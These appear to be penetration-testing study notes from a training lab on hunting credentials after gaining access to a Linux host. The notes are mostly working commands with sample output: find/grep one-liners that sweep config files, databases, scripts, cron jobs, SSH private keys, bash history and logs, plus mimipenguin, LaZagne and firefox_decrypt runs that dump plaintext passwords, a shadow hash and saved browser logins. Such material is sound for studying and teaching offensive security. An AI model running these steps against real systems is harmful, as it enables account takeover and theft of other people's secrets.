Linux Credential Hunting

Table of Contents

• Sources to find Credentials
• Configuration
• Databases
• Notes
• Scripts
• Cronjobs
• SSH Keys
• Bash History
• Logs
• Memory and Cache
  • Memory - Mimipenguin
  • LaZagne
    • Memory - LaZagne
  • Browsers
    • Firefox Stored Credentials
    • Decrypting Firefox Credentials
    • Browsers - LaZagne
• Wordpress

Sources to find Credentials

always keep in mind of the purpose of the system; business logic and overall network. For example, it is an isolated database server, then we would not find normal users there.

Configuration

find all configuration files

for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done

File extension:  .conf
/run/tmpfiles.d/static-nodes.conf
/run/NetworkManager/resolv.conf
/run/NetworkManager/no-stub-resolv.conf
/run/NetworkManager/conf.d/10-globally-managed-devices.conf
...SNIP...
/etc/ltrace.conf

credentials in configuration files
in this case, is searching for user, password, pass

> for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done

File:  /snap/core18/2128/etc/ssl/openssl.cnf
challengePassword		= A challenge password

File:  /usr/share/ssl-cert/ssleay.cnf

File:  /etc/ssl/openssl.cnf
challengePassword		= A challenge password

File:  /etc/alternatives/my.cnf

File:  /etc/mysql/my.cnf

Databases

for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done

DB File extension:  .sql

DB File extension:  .db
/var/cache/dictionaries-common/ispell.db
/var/cache/dictionaries-common/aspell.db
/var/cache/dictionaries-common/wordlist.db
/var/cache/dictionaries-common/hunspell.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/cert9.db
/home/cry0l1t3/.mozilla/firefox/1bplpd86.default-release/key4.db
/home/cry0l1t3/.cache/tracker/meta.db

Notes

search not only .txt also no format

find /home/* -type f -name "*.txt" -o ! -name "*.*"

/home/cry0l1t3/.config/caja/desktop-metadata
/home/cry0l1t3/.config/clipit/clipitrc
/home/cry0l1t3/.config/dconf/user

Scripts

Scripts may contain credentials otherwise admin might need to manually enter password everytime

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done

File extension:  .py

File extension:  .pyc

File extension:  .pl

File extension:  .go

File extension:  .jar

File extension:  .c

File extension:  .sh
/snap/gnome-3-34-1804/72/etc/profile.d/vte-2.91.sh
/snap/gnome-3-34-1804/72/usr/bin/gettext.sh

Cronjobs

also may contain credentials

> cat /etc/crontab 

# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly

> ls -la /etc/cron.*/

/etc/cron.d/:
total 28
drwxr-xr-x 1 root root  106  3. Jan 20:27 .
drwxr-xr-x 1 root root 5728  1. Feb 00:06 ..
-rw-r--r-- 1 root root  201  1. Mär 2021  e2scrub_all
-rw-r--r-- 1 root root  331  9. Jan 2021  geoipupdate
-rw-r--r-- 1 root root  607 25. Jan 2021  john
-rw-r--r-- 1 root root  589 14. Sep 2020  mdadm
-rw-r--r-- 1 root root  712 11. Mai 2020  php
-rw-r--r-- 1 root root  102 22. Feb 2021  .placeholder
-rw-r--r-- 1 root root  396  2. Feb 2021  sysstat

/etc/cron.daily/:
total 68
drwxr-xr-x 1 root root  252  6. Jan 16:24 .
drwxr-xr-x 1 root root 5728  1. Feb 00:06 ..
...SNIP...

SSH Keys

grep for private key

> grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"

/home/cry0l1t3/.ssh/internal_db:1:-----BEGIN OPENSSH PRIVATE KEY-----

grep for public key

grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"

/home/cry0l1t3/.ssh/internal_db.pub:1:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCraK

Bash History

.bash_history; .bashrc; .bash_profile

> tail -n5 /home/*/.bash*

==> /home/cry0l1t3/.bash_history <==
vim ~/testing.txt
vim ~/testing.txt
chmod 755 /tmp/api.py
su
/tmp/api.py cry0l1t3 6mX4UP1eWH3HXK

==> /home/cry0l1t3/.bashrc <==
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then
    . /etc/bash_completion
  fi
fi

Logs

• Application Logs
• Event Logs
• Service Logs
• System Logs

Important ones:

grepping interesting strings in logs:

> for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done

#### Log file:  /var/log/dpkg.log.1
2022-01-10 17:57:41 install libssh-dev:amd64 <none> 0.9.5-1+deb11u1
2022-01-10 17:57:41 status half-installed libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1 
2022-01-10 17:57:41 configure libssh-dev:amd64 0.9.5-1+deb11u1 <none> 
2022-01-10 17:57:41 status unpacked libssh-dev:amd64 0.9.5-1+deb11u1 
2022-01-10 17:57:41 status half-configured libssh-dev:amd64 0.9.5-1+deb11u1
2022-01-10 17:57:41 status installed libssh-dev:amd64 0.9.5-1+deb11u1

...SNIP...

Memory and Cache

many applications store credentials in memory or files; such as browsers. Use mimipenguin to retrieve this type of info (note that it requires admin/root privileges)

Memory - Mimipenguin

cry0l1t3@unixclient:~$ sudo python3 mimipenguin.py
[sudo] password for cry0l1t3: 

[SYSTEM - GNOME]	cry0l1t3:WLpAEXFa0SbqOHY


cry0l1t3@unixclient:~$ sudo bash mimipenguin.sh 
[sudo] password for cry0l1t3: 

MimiPenguin Results:
[SYSTEM - GNOME]          cry0l1t3:WLpAEXFa0SbqOHY

LaZagne

The passwords and hashes we can obtain come from the following sources but are not limited to:

Memory - LaZagne

cry0l1t3@unixclient:~$ sudo python2.7 laZagne.py all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Shadow passwords -----------------

[+] Hash found !!!
Login: systemd-coredump
Hash: !!:18858::::::

[+] Hash found !!!
Login: sambauser
Hash: $6$wgK4tGq7Jepa.V0g$QkxvseL.xkC3jo682xhSGoXXOGcBwPLc2CrAPugD6PYXWQlBkiwwFs7x/fhI.8negiUSPqaWyv7wC8uwsWPrx1:18862:0:99999:7:::

[+] Password found !!!
Login: cry0l1t3
Password: WLpAEXFa0SbqOHY


[+] 3 passwords have been found.
For more information launch it again with the -v option

elapsed time = 3.50091600418

Browsers

Firefox Stored Credentials

cry0l1t3@unixclient:~$ ls -l .mozilla/firefox/ | grep default 

drwx------ 11 cry0l1t3 cry0l1t3 4096 Jan 28 16:02 1bplpd86.default-release
drwx------  2 cry0l1t3 cry0l1t3 4096 Jan 28 13:30 lfx3lvhb.default

cry0l1t3@unixclient:~$ cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .

{
  "nextId": 2,
  "logins": [
    {
      "id": 1,
      "hostname": "https://www.inlanefreight.com",
      "httpRealm": null,
      "formSubmitURL": "https://www.inlanefreight.com",
      "usernameField": "username",
      "passwordField": "password",
      "encryptedUsername": "MDoEEPgAAAA...SNIP...1liQiqBBAG/8/UpqwNlEPScm0uecyr",
      "encryptedPassword": "MEIEEPgAAAA...SNIP...FrESc4A3OOBBiyS2HR98xsmlrMCRcX2T9Pm14PMp3bpmE=",
      "guid": "{412629aa-4113-4ff9-befe-dd9b4ca388e2}",
      "encType": 1,
      "timeCreated": 1643373110869,
      "timeLastUsed": 1643373110869,
      "timePasswordChanged": 1643373110869,
      "timesUsed": 1
    }
  ],
  "potentiallyVulnerablePasswords": [],
  "dismissedBreachAlertsByLoginGUID": {},
  "version": 3
}

Decrypting Firefox Credentials

Firefox Decrypt.py

> python3.9 firefox_decrypt.py

Select the Mozilla profile you wish to decrypt
1 -> lfx3lvhb.default
2 -> 1bplpd86.default-release

2

Website:   https://testing.dev.inlanefreight.com
Username: 'test'
Password: 'test'

Website:   https://www.inlanefreight.com
Username: 'cry0l1t3'
Password: 'FzXUxJemKm6g2lGh'

Browsers - LaZagne

cry0l1t3@unixclient:~$ python3 laZagne.py browsers

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

------------------- Firefox passwords -----------------

[+] Password found !!!
URL: https://testing.dev.inlanefreight.com
Login: test
Password: test

[+] Password found !!!
URL: https://www.inlanefreight.com
Login: cry0l1t3
Password: FzXUxJemKm6g2lGh


[+] 2 passwords have been found.
For more information launch it again with the -v option

elapsed time = 0.2310788631439209

Wordpress

• MySQL database credentials within WordPress configuration files ->cat wp-config.php | grep 'DB_USER\|DB_PASSWORD'